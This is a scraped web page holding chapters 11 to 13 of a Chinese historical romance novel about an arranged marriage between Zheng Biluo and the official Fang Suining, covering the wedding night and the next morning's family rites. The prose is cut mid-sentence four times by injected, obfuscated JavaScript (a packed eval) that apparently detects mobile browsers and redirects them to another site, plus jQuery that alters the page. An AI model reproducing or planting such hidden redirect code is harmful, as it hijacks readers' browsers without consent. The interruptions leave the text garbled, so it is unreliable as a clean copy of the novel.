;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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华丽的婚服材质硬挺,衣摆一道道褶皱有如沟壑,将二人隔开距离。 郑薜萝垂眼,裙裾上彩线绣着的成行排列的翟鸟一半陷进深深的褶皱里。她下意识地提了提裙裾,将陷落的一只鸟“打捞”上来。 障车外,十二名来自房家的仆从手捧着连燃了三日的庭燎,自大门内鱼贯而出。 新妇离家,女家烛灭。郑家嫡长女薜萝,终于出嫁了。 11. 第 11 章 [加更] 入洞房,撤…… 丞相府占据隆兴坊半坊之地,单循园的面积便大过郑府。郑薜萝被喜娘搀扶着进园,沿路只见亭台水榭,一步一景,古朴中透着雅致,花园中还养着鸾鹤孔雀,姿态高贵地在花木中漫步。 步入婚房,喜娘扶着郑薜萝在拔步床上坐下。 “这里不用人了,嬷嬷自去吃些东西吧。”她轻声道。 “那您有事吩咐,我们就在外面候着郎君过来。”喜娘带着两个丫鬟离开房间,将门从外面阖上。 “姑娘,累么?” 且微皱着眉打量主子头上,高梳的?髻和繁复的头饰看着就沉坠坠的压人。 “不累,”郑薜萝摇头,鬓边珠花步摇微晃,“你也歇歇吧,跟着站了一天。” 且微便掀开帐幔去了外间,没一会又折回来。 “这新房可真是宽敞,足足有咱们府上正房两倍不止,不愧是清河房氏。” 郑薜萝缓缓扫过所在的主屋,沉香为梁,玳瑁贴门,碧玉窗,珍珠箔……高昂的装潢用料处处透着世家大族的贵重气质。 “只不过,屋里的陈设还是简单了些,这房家郎君似乎不常回来住的样子——恐怕还真是和传言里说的一样,是个不着家的呢……”且微皱着眉道。 “不回家,不是正好么。” 熏炉里燃得不知什么香,香气浓烈,满室氤氲,闻久了有些气闷。 金银花树烛台上,高低错落摆放着十余枝小儿手臂粗的红烛,刚燃了个开头…… 这一夜,还很长。 郑薜萝呼出一口气:“扶我起来看看。” 二人绕过屏风走到正堂。新房里,除了屋子正中悬着的一副丹青,其他装饰寥寥。 “这画得什么呀,除了黑就是白,枯枝败叶的,放在这新房里一点都不喜庆……”且微皱着眉点评。 画上危崖百尺,如刀劈斧凿,崖壁上孤悬着虬曲的枯松枝干如铁,尖梢如刺,松根死死抠进岩缝,暴露盘结,崖下江水奔流,远处大雾弥漫,模糊了天际线。 郑薜萝仰头,静静看着那画。作画之人笔法枯涩锐利,多用焦墨飞白,有种处于绝境,又死地逢生之感。 视线下移,落在画面角落,红色的印章上「素处以默」四个篆字,每一笔都如断铁崩金,锋芒毕露。 “素处以默,妙机其微……” 她沉吟着,“倒真像个修道之人。” “什么意思啊?” 且微看不懂那画,也没听懂郑薜萝在说什么,遂百无聊赖地走开。 “——您的贵妃榻在这呢。” 隔间里面摆着一张贵妃榻,和一面嵌着八宝琉璃的侍女屏风——都是她的嫁妆清单里的,光是这两件就价值千金,只是同一旁的蒲团香案摆在一起,显得十分突兀。 她皱着眉,抬手揉了揉太阳穴。 “姑娘觉得闷么?”且微望一眼她身上沉重的婚服,要去推窗。 “不必了。”郑薜萝掀眉,“怎么还唤姑娘?” “……是,娘子。”且微吐了吐舌头。 “你饿么?” “不、不饿,娘子饿么?” 不远处覆着大红桌帷的圆桌上,摆着一只纯金酒樽,和一对剖为两半的卺。除此之外,并无任何食物。床榻上倒是撒着些红枣、花生之类,但不知能不能动。 且微犹豫着,要不要叫人送些吃的进来,却见郑薜萝从袖子里摸出了两块酥糖来。 且微没客气,接过糖放进嘴里,一边嚼着,一边口齿不清地感叹:“方才经过前面院子,里面简直是人挤人,一丛丛的,可真是热闹……姑娘,你也吃一块吧?” 郑薜萝摇了摇头。 今日府中必是高朋满座,方才还听秦嬷嬷不无骄傲地提起,除了贵妃娘娘和裕王殿下,东宫也送来了贺礼。 也不知现在的郑府,是何景象。 她正出神中,忽然听得前院高亢的通报声——“二皇子驾到!” 且微转脸看向郑薜萝,叹道:“清河房氏可真是势力通天啊,娶个媳妇,皇子们排着队前来道贺!” 前院里,家主房速崇的表情同样难掩讶异。 太子李邺与二皇子寰王李宥一文一武,太子辅国政,二皇子掌兵权,二人一向泾渭分明;再加上寰王的母亲窦淑妃与裴贵妃的竞争关系,连带着与房氏的关系也颇为冷淡,私下实则甚少来往。 今日婚宴,寰王竟然会亲自出席,实在出乎房家人的意料。 满院宾客听得通传,齐齐噤声,但见一队红衣翊卫森严列阵门外,灯火通明的门阀之下,一身戎服的寰王殿下迈步进门。 房衡忍不住出声提醒:“老爷,要去迎一下吧……” 房速崇如梦初醒,拉过身边的房遂宁,迎上前去。 “老臣拜见殿下!” “微臣参见殿下。” 寰王嗓音洪亮:“免礼免礼!” 众人起身,只见寰王生得气质英挺,骨相坚毅,一身戎装更显出硬朗的军人气质。 “贵府大喜,父皇颇为上心,正逢这两日我回京中叙功,便特地要了这份差事,顺道来讨一口喜酒喝!” 房速崇忙道:“大祈有二殿下为国征战,得以四境安宁,实乃万民之福!老臣敬殿下!” 寰王哈哈一笑,接过酒杯,转头看向房遂宁,“本王与遂宁似乎还未一起喝过酒……” 房遂宁双手持杯,微微躬身:“微臣位卑,何其有幸,能与殿下共饮。” “是么?”寰王微眯起眼,“本王却听说,你和我那四弟喝得也不少呢。” 房速崇笑着道:“四殿下喜欢热闹,偶尔会召他一起,不过二殿下也知道,荪桡平日风里来雨里去,能作陪的时候实在不多,哈哈……” “也是,”寰王拍了拍房遂宁的肩膀,“都听说房家郎君是个厉害角色,朝中不少人都怕你,说你不近人情,如今娶妻成家,不知会否多些人情味了!” “殿下玩笑。”房遂宁垂着眼,语气淡淡。 寰王眸光微眯,若有深意地看了他一眼:“如今郑家女儿嫁你为妻,可要好好待她。房郑两家均乃大祈股肱,只有勠力同心,方能永葆大祈国祚。我说得可对?” “微臣铭记。” 寰王微微一笑,看向房速崇,似在等他表态。 房速崇心中一凛,拱手道:“殿下所言甚是。” 那边厢,酒席首位已经布置出来,只等着寰王落座,他却摆了摆手:“只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024510|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来讨杯酒喝,还得连夜开拔回营,我就不多待了!” 说罢就此告辞,走了没两步,又转过身来。一院子的人刚刚落座,又匆匆忙忙提着袍子站起来,等着寰王示下。 寰王只笑着对新郎官道:“差点忘了,宁安托本王带了份礼物给你们新婚小夫妻。一会便让他们抬到你院子里去。” 他冲着房遂宁眨眨眼,“人家姑娘初来乍到,难免无聊,你多陪陪,解解闷……” “臣遵命。” 房遂宁微笑颔首,低眸时笑意如冰消,瞬间回至冰点。 - 宁安公主给新婚夫妇的礼物是一台彩索秋千架。 几个家丁吭哧吭哧地将秋千架抬过前院。房速崇冷眼望着,低声:“今夜多少眼睛盯着房府,寰王都特意来替郑氏站台,你就算是作戏,也给我把夫妻恩爱做足了。” 房遂宁下颌线绷得极紧,一语不发。 “你听见了没??”房速崇不满地睨向儿子。 “……知道了。” 漏断更移,星斗渐斜,婚宴终于散场。 房遂宁远远看见灯火通明的婚房,步伐慢了下来。 窗棂上贴着喜字,廊柱彩绸低垂,绣着百子图的彩障将院子围了一圈,一直到房门口……仿佛被这满目的红刺得眼睛痛,他忍不住皱起眉头。 “主子。” 房遂宁转头,泊舟的身影从树后闪出。 “什么事?” “夜来死了。” 房遂宁目光凛起:“什么时候的事?” “人被发现在城西乱葬岗,就在卢序槐去过郑家后。” ——至此,线索已断,案子陷入死局。 见泊舟面露迟疑,房遂宁盯着他:“还有什么事?” “上面递话:此案因涉及四品以上官员,目前已经由刑部移交大理寺。” 「人家姑娘初来乍到,你多陪陪……」 房遂宁想起寰王方才的话,唇角勾起一抹冷笑。这有意让他远离的架势,未免太过明显。 “知道了,你去吧。” 泊舟领命,身影迅速消失在黑暗中。 喜娘等了半宿,见新郎官终于回来了,清了清嗓子:“入洞房,撤锦障!” 一院子候着的下人如梦初醒,全部打起了精神。 房遂宁迈步走上台阶,喜娘正要推门,却听他道:“我自己进去就行。你们下去。” 两个喜娘对视一眼,均有些犹豫:她们负责引导新人,进入洞房之后还有若干流程要走,若事宜未尽,则不算完满。 “不就是饮合卺酒?我知道的。” 或许是累了一天,新郎的语气显然已颇为不耐。 喜娘不敢违抗,退到阶下,屈膝行礼:“那便祝新郎新妇百年好合,恩爱如水!” 房遂宁摆了摆手,众下人无声而迅速地退出了院子。 廊下悬着的灯笼随风摇晃,橘红色的光短暂地照亮他锋利的眉眼,旋即又陷入更深的黑暗…… 他一伸手,将房门推开了。 且微侯在门口,见房遂宁独自一人站在门外,颇有些意外。 “……姑、姑爷?您——” “出去。” 12. 第 12 章 一道绛色婚服的修长人影迈进门来。 房遂宁的视线落在那架分外惹眼的宝石屏风上,肩膀微微耸动,似是哼笑了一声。 他几步走到香案边,抬手将那尊吐着香烟的狻猊铜炉熄灭了。 郑薜萝坐在拔步床上,无声舒了口气。那股甜腻的味道熏得人头疼,她已经忍了一个晚上。 一颗心紧接着又悬起——外间的人正缓步朝着她靠近。 即使隔着两重帐幔,看不清人脸,房遂宁的周身却似有迫人的寒气,屋里溶溶的春意都因之凝结。 她微颤的手摸到身边放着的团扇,举起来,半遮在面前。 按照喜娘传授过的流程:新郎入洞房后,男女对坐,新妇以扇遮面,由傧相于帐前咏除花去扇诗二首,新妇去扇; 而后,便是新郎脱下礼服,再为新娘卸去花冠和婚服; 再然后,便是洞房夜的最后一项。 …… 郑薜萝的胃里忽然一阵翻腾。 此时屋中只有他们两人,接下来的流程会如何进行? 踟蹰间,一片阴影从天而降,人已到了面前。 房遂宁居高临下地注视着他,摇晃的烛火将他黑沉的瞳孔点亮,其中的审视锐意昭彰。 像在看一个入侵者。 从郑府到房府的这一路,他们并肩坐在婚车中,外人所见:新郎矜持,新妇娇羞,实则二人未曾有过哪怕一个眼神的交换。 她抬眼,第一次与房遂宁对视。 男人长眉入鬓,锋利的薄唇紧紧抿着,眼尾狭长,眸光中如有碎冰缓缓流动。 郑薜萝依旧规规矩矩地举着扇子,新郎官并无为新妇却扇的觉悟。房遂宁见惯了故作镇定的嫌疑人,一眼便看出她在紧张,讽刺地冷哼了一声,便转身朝外走。 “放下吧,不累么。” 访仙阙那一晚,他也是用同样倨傲的语气,说了一句话。 「商人重利,多有狡黠市侩之徒。」 郑薜萝手心的汗瞬间冷却,胃里的翻腾莫名缓和了些。她从善如流地放下扇子,跟着站起身来。 房遂宁走到桌边,面上的不爽更重了些,他想喝水,可桌上除了一斛酒,什么也没有,左右看了一圈,悻悻地坐下。 郑薜萝停在他两步之外,依稀看清他额头沁着一层薄汗。新郎的婚服也和新娘一样,里三层外三层,更不论他还穿着这一身,应付了一整晚宾客,定然不会好受。 出于纯粹的感同身受,她尝试着建议:“……不若先宽下礼服?” 许是太久没有说话,第一句开口嗓音竟有些哑,“夫君”二字,没发得出声来。 房遂宁一只手臂撑在桌上,隔着桌子朝她看过来,眼眸微眯。 他此时已经可以确定,上一回在访仙阙遇到的人便是她。 此刻烛影摇红,他终于将人看清了:她面上画着精致的新娘妆容,姿态端庄,珠光宝气繁重婚服之下,却无半分灵动,有如提线木偶。 这便是郑远持捧在手掌心,不惜高调露富,甚至请动寰王出面,唯恐被他们房家欺负了去的宝贝女儿? 看上去清纯无暇,却能和宁安公主那样的顽劣人物玩到一块去,据秦嬷嬷反馈,这郑家小姐于男女之事上似乎也颇为看得开……他厌恶地想。 “郑薜萝。”房遂宁不带任何感情地喊她名字。 花冠下步摇微晃,阴影落在白皙之上,新娘一双横波目,无辜至极,虚伪至极。 他冷冷移开视线。 “内帷不比朝堂,这里无须作戏。” 郑薜萝的肩膀微微下塌两分,像是卸下了什么担子,嘴角勾起完美的弧度。 房遂宁再不理会,自顾自地去解除身上沉坠的衣饰。 这套婚服乃是礼部特制,只有宗室子弟方能享有的品阶制式,层层叠叠,比他平日穿的衣服要复杂得多,除了镶嵌着珍珠、琉璃、水晶的腰带,还有上面挂着的成组的玉佩……他叮呤咣啷一股脑除下,信手扔在桌上。 解到腰际的一颗珍珠扣子,却是费了半天劲解不下来,到后来越发没了耐性,他索性用力去扯。 郑薜萝站在一旁,见他用了半天蛮力不得其法,实在看不下去,走上前准备帮忙。 手刚伸出去,只听“嗤拉”一声,婚服的扣眼被撕开了个口子,她的手被房遂宁猛地撞开,那珍珠扣终是被扯掉了下来,骨碌碌滚了老远。 手背隐隐作痛,她低眼去看,已经红了一片。 “管你自己就好。” 房遂宁瞥来一眼,没什么情绪。 郑薜萝走到门边,将那粒滚远的扣子拾起来,放回他手边的桌上。 自进屋后,新娘除了第一句话,便再未开过口。房遂宁掀眉去看,只见她姿态从容,浓密的睫毛在眼底投下一片扇形的阴影,乖觉地不再试图靠近,或是插手。 他心头涌起烦躁,又继续去解剩下的扣子,动作却慢了几分。 郑薜萝移步去了内室,取来清水灌入铜盆,端放在搁架上,沉着地将濯面的素缎备好,又走过来,取走房遂宁随手扔在一边的罩袍,挂上架子。 她自己始终穿着一身婚服,大带束紧窈窕纤身,织锦刺绣翟鸟的绶带自腰后垂落,在地面拖曳,腰际悬垂的垂珠与玉珩撞击出清脆的声响。一举一动沉稳端方,依旧是没有半分瑕疵。 将喜娘交代的一切做完,郑薜萝转头看一眼桌边坐着的人。他手边的合卺酒从始至终未曾动过。 她收回视线,走到窗边妆台坐下。 一支支摘下头上的花钗和步摇,擦去口脂、胭脂,洗去花钿,卸下覆了一整日的浓重妆容…… 昔日都是且微帮她做这些,自己动手,慢是慢了些,好在她也不赶时间。 夜还很长,足够她慢慢适应。 房遂宁盯着窗边人的背影,那张红木妆台的位置,原本摆着他的书架,这会也不知被搬去哪里了……他皱起眉,目光停在铜镜上。 镜中倒映的人影,眉目秀丽如画,已经不施半点粉黛。 “那么,郎君也早些安置。” 郑薜萝站起身来,开口说了今晚第二句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024511|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。 她将婚服褪下,挂在架子上,走到床边,弯腰将榻上铺着的干果扫落下地,发出一阵清脆的声响。也不去管那一地的杂乱,上了榻便面朝里躺了下来。 一粒桂圆骨碌碌滚到房遂宁的脚边。他呼吸了几瞬,站起身。 靴尖从上面碾过,果壳碎了一地。 金银花树上,根根红烛燃至过半,烛泪错落,夜已深沉。榻上女人呼吸匀停,侧影缓缓起伏,似乎已经睡着了。 呵,她倒是能随遇而安。 房遂宁唇角勾一抹冷笑,不就是想让他休息,那便养精蓄锐。他走到铜盆边,拿帕子胡乱擦了把脸,水温正好,清爽了些。到床边躺了下来,与身边人衣袂都未曾碰到半点。 他转头,看着暗处躺着的人影,眸光阴鸷。 收回视线,将手伸出去,越过身旁的人去扯里侧摆着的被子,一下竟没扯动。 郑薜萝睁开眼,转头看向房遂宁。他正皱着眉看着她,也不说话,手里死死攥着被子的一角。 她松开手,帮忙将被子捧去他身侧,不动声色地将他手心攥着的枕巾一角扯了回去。 房遂宁睨了一眼,她扯回去的是一张边缘磨损的枕巾,一看就是不属于这一切簇新的洞房的东西,大概是娘家带来的。他懒得管,重新闭上眼。 长夜漫漫,今夜的虫鸣似乎格外刺耳,他随即意识到,刺耳的是她匀停的呼吸声。 他睁着眼,透过上方水红色的帐幔,隐约可见床顶精工雕刻的纹饰,是某种类似凤凰的祥瑞图腾,单这一台拔步床便造价不菲——难怪她能睡得安稳,自小就在这样的环境里长大,定然是娇生惯养……房遂宁厌恶地想着,直到窗外更声敲响,他坐起身,一把掀开身上的锦被。 红烛大多已经燃尽,只余一两支摇摇欲灭。 明明一进屋时,他就已经将那甜得腻人的香给灭了,可不知为何,依旧有股不知哪儿来的茉莉香气,幽幽地朝他鼻子里钻。 环顾一圈才确认,那香气的来源不是别处,正是他身边的人。 味道并不浓烈,只是若有似无,却有着极强的存在感,隐隐挑动他身体深处的某处神经。 房遂宁翻身下床,将窗推开半扇,一阵沁凉的夜风吹进来。 最后两盏红烛被风吹灭,一线月光顺着半阖的窗扇,洒落在床头,照亮了枕上半幅睡颜。 郑薜萝阖着眼,云鬓松脱,不知梦见了什么。她蜷曲着身体,樱唇微启,发出小兽一般无意识地呢喃。 那细微的声音犹如一把羽毛,挠在人心头极痒处。 房遂宁蹙眉,喉头一阵干渴。 他赤足走到圆桌边,拎起那壶酒仰头灌了一口,又回了床边。 酒气上涌,衣衽发紧,他下意识地扯了扯。 榻上人仍旧在沉睡,一缕乌发贴在颈边,黑白分明的昳丽,延伸进衣领深处。 他眸光微凝,脑中闪过一些光怪陆离的片段。 忽有种莫名的冲动,想一口咬住她修长的脖颈,看她仰起脸…… 一如那夜。 13. 第 13 章 枝头鸟鸣啾啾,郑薜萝睁开眼。 她望着红色的帐顶缓了一会,才意识到自己身处何地。 转头,枕边空无一人,重又闭上眼。 昨日实在是累极,竟回想不起自己是怎么睡着的,手里还紧紧攥着祖母的枕巾。她将枕巾上的褶皱抚平,叠整齐后压在枕头下面。 陌生的房间里,触目所及大片大片的红色,还是让她有些不适应。 郑薜萝犹豫了一会要不要喊人进来,最后还是决定,先把桌上那两杯酒给收拾了。走过去时,窗边突然有动静。 屏风后现出男人挺拔的剪影。她动作微顿。 房遂宁已经换了一件月白松霜缎的直领长袍,领缘和宽大的袖口绣着云水暗纹的滚边,比起新郎官,这一身飘逸出尘,更像不食人间烟火的修道之人。 他凌厉的眉峰上还挂着几滴水珠,应是已经濯了面,前一晚的疲态一扫而空,显得神清气爽了不少。 “你……昨夜一直在这里打坐?”郑薜萝扫向他脚边的蒲团,疑惑道。 男人淡淡看她一眼,不很耐烦的样子,没有应声。 且微自天不亮就一直侯在外面,“哗啦”一声门突然打开,房遂宁负手站在门内。 “郎、郎——”她还不怎么习惯,称呼在舌头上滚了两下愣是没喊得出来。 “进去伺候你家主子吧。”扔下这一句,房遂宁便错身出了门。 且微脚步匆匆地进到内室,郑薜萝已经在妆台边坐下,正在梳头。 她视线忍不住朝床上瞄。锦缎被褥叠得整整齐齐,褥面平整一无所见。暗自叹一口气,便走去帮主子梳妆。 郑薜萝换了一身彩绘朱雀纹的白绫背子,一腰宝相花缬纹浅绛齐腰纱裙,肩披同色帔帛,蝉鬓低梳,便准备往岁安堂去拜见君姑。 临出门前,她将头上倒插的鸳鸯戏花纹的金梳取了下来,换了一支蔓草纹的银钗。 循园与房府正院只隔着一堵矮墙,仆妇引着少夫人迈出院门,余光瞥见小径另一头一道清拔人影,似乎已经站了一会儿。 郑薜萝站定,低眉顺目地唤了一声:“夫君。” 房遂宁冷冷看她一眼,没有吱声。 郑薜萝略一屈膝,便要朝岁安堂的方向去,孰料房遂宁脚步一顿,转而走在了她的前面。 原本前面带路的仆妇掩嘴一笑,自动让到两个主子后面去。 二人一前一后,穿过花园小径、假山长廊、九曲浮桥,一路无话。 郑薜萝偶一抬眼,前面人背着手,没了阔大的婚服遮掩,袍角掀动时一双长腿更显分明。 应是家族遗传,房家的男人多是身高腿长,房遂宁更是如此,站在人群中,总是鹤立鸡群十分显眼。 秦嬷嬷站在廊下,就这么远远看着二人同行而来,连忙朝屋里:“夫人,新妇到了。桡哥儿也跟着一起来的。” 裴敏手执一串佛珠坐在罗汉榻上,听见这话,微阖的眼睁开了。 “谁说桡哥儿不情愿的?嫂子你看,还陪着新妇一道见君姑来了……” 说话的是坐在裴夫人左边上首的一位妇人,有房家人典型的面相,一双狭长的瑞凤眼,举手投足间颇有贵气。 靠坐在裴夫人身侧淡晕粉妆的女子细眉微蹙。她约莫十七八岁年纪,看见门外的人影,缓缓站起身来,低低唤了声:“桡哥哥。” “延儿也在。” 房遂宁紧绷的神色有了些许变化,朝着那少女略一颔首,迈步进门。 郑薜萝的视线不着痕迹地从那女子身上移开,跟着房遂宁走到厅中落座。 方才说话的妇人旁边,还跟着一大一小两个孩子,高些的男孩儿眉眼清秀,端坐在位置上,一举一动颇有规矩;另一个小丫头梳着双髻,手里拿一串糖人,不肯乖乖坐着,只缠在妇人脚边,见到人影迈开小脚朝房遂宁跑了过来。 “我要靠着表哥!表哥给我好吃的!” 妇人语气严厉:“兰儿,过来坐好。” 小丫头只好暂时松开房遂宁的袍角,依依不舍地抬头看一眼面前的人,却没急着挪动步子,又好奇地看向他身旁的郑薜萝:“你是……表嫂么?” 郑薜萝看着这小丫头一张肉嘟嘟的脸,刚搓出来的糯米圆子一般,带了笑意冲她眨了眨眼,柔声:“是呀。” “快点回来,今日不可胡闹!” 这是要教训人的语气了,小丫头乖觉得很,马上又跑回母亲身边,只是一双滴溜溜的眼睛仍然好奇地盯着那个笑起来很温柔的表嫂。 郑薜萝从席上起身,正式向裴夫人行了拜见之礼,依例荐上枣栗脯脩,再向君姑奉茶。 礼毕,裴夫人让郑薜萝落座,给她介绍,眼前的这位长辈是老爷的三妹妹,房遂宁的姑母,单名一个菀字,嫁的是刑部尚书左素同,也就是房遂宁的直属上司。 那两个小的,森哥儿十三,兰姐儿六岁,是房菀和左素同的一双儿女。 房菀拽着两个孩子,教他们:“可以喊人啦。” “表嫂好。” “表嫂好!” 两个孩子一前一后奶声奶气地叫。 郑薜萝笑了笑,取来准备好的糖果,给两个孩子各抓了一把。 裴敏的视线一转,看向身边的人:“这是我内弟家的孩子,裴氏玉延。” 裴玉延站起身来,朝郑薜萝低低唤了一声:“表嫂。” “妹妹好,妹妹芳名早有耳闻。” 自从他们进屋,裴玉延的目光便始终追随着房遂宁,郑薜萝只佯作不知。 这便是传说中,原本房家属意的儿媳。若非自己,恐怕今日在这里行庙见之礼的便是她了吧。 又听裴夫人淡淡道:“玉延的双亲俱已不在人世,自小一直养在我身边,房家也一直拿她当亲女儿待,往后你也多照顾着些。” “自然。母亲放心。”郑薜萝恭声应了。 一直端坐一旁置身事外的房遂宁突然道:“姑父今日陪姑母一道来的么?” 作为属下,房遂宁很少公开称左素同为“姑父”,房菀反应了一会,才道:“哦,他今日休沐,陪我一道回来的,也顺便看看你这新媳妇。” “侄儿正好寻姑父有事,先告辞。” 房遂宁说完,便向着上首端坐的裴夫人行了一礼,站起身来。 众人俱在愣怔,只有兰姐儿喊出了声:“表哥——!”又被房菀严厉的一眼瞪得闭上了嘴。 裴夫人看着儿子远去的背影,收回视线。 郑薜萝安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024512|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静坐着,听裴夫人和房菀二人絮絮地说话。而裴玉延,自房遂宁走后便一直失魂落魄,垂头绞着手里的帕子。 “唉,看他这来去匆匆的,什么时候是个头儿……”房菀叹息了一声。 她如今是刑部尚书夫人,亲见刑部衙门杀气重、案子多,得罪起人来不分轻重,一年到头风里来、雨里去。 “要说世家子弟,少有愿意去刑部的,那里的官员多少年也不见轮换,像桡哥儿这样的,已然是刑部的老资历了。” “要这资历有什么用。”裴夫人冷着脸道。 “谁能说得动他?连和光私下也劝过他,不必在刑部苦熬,可咱们桡哥儿这脾气啊,一钻到案子里便是九头牛也拉不出来!这不,才刚成了婚,还心心念念公务,又不知要找他姑父说什么……” 裴夫人看了郑薜萝一眼:“以往他在衙署事忙,一年到头循园也回不了两趟,如今既成了婚,也当有个家的样子。” 郑薜萝脸上始终挂着得体笑意,长辈说话,只是点头。 兰姐儿无聊了,便跑过来,凑在郑薜萝身边细细打量她。小脸蛋上还挂着晶莹的口水,十足的滑稽可爱。 房菀瞥到女儿的动静,笑了起来:“这丫头,从小就是这样,看到好看的人就挪不动步,桡哥儿那么冷的一个人,也就她看着不怵——这下好了,来了个一样漂亮的表嫂,可小心她缠着你不放啊!” 最后一句话,是冲着郑薜萝说的。 “姑母说笑了,兰姐儿聪明伶俐,倒叫我也想起家里的妹妹呢。” 郑薜萝取出帕子,替兰姐儿擦了把嘴,一边伸手将小丫头手里化了一半,险些沾到前襟上的糖人拿开了些。 房菀笑着皱眉,嗔怪的语气:“快过来,埋汰!别把你表嫂的新衣服弄脏了!” 裴夫人看着两个孩子也不禁面露慈爱:“森哥儿的脾性倒是和她妹妹不同,文气得很。” 房菀出神:“房家几代里头,都是老大文,老二武,倒也是奇了……” 她说完这句,似乎自觉失言,迅速看了裴夫人一眼。 两人不约而同地沉默下来,厅中气氛莫名凝滞。 半晌,裴夫人才重又开口:“时辰差不多了,走吧。” 房氏乃是世家大族,在城西另建有宗祠,逢重大日子,便会由家主率领,举家前往祭祖。今日新妇行庙见之礼,只在府中祖厝进行。 纵使只是府中的祠堂,也足足有三进屋子的占地。这样的规模,叫郑薜萝想起儿时的外祖家。 她在房家的列祖列宗前依矩行礼,起身时抬头,望见高处供奉着的一座座牌位,烛灯映照下,紫檀木上的姓名爵位,字迹深浅不一。 牌位居中的,是自前朝起就位列三公的房老太爷房孝谦,膝下三个孩子,房速崇排行老大,下面有一个弟弟房敬崇已经过世,房菀是老三。 最靠近下面的一排的牌位几乎都用红布包裹着,儿时听老人说过,那些是家里还未故去的人,应当便是房遂宁所在的这一辈。 行完礼起身,便有师爷提着笔,蘸取墨汁,在刻着房遂宁名字的牌位上,添上郑薜萝的名字。 祖厝中香烟缭绕,郑薜萝视线微动,被房遂宁那一排中独独一个没有包裹着红布的牌位吸引住。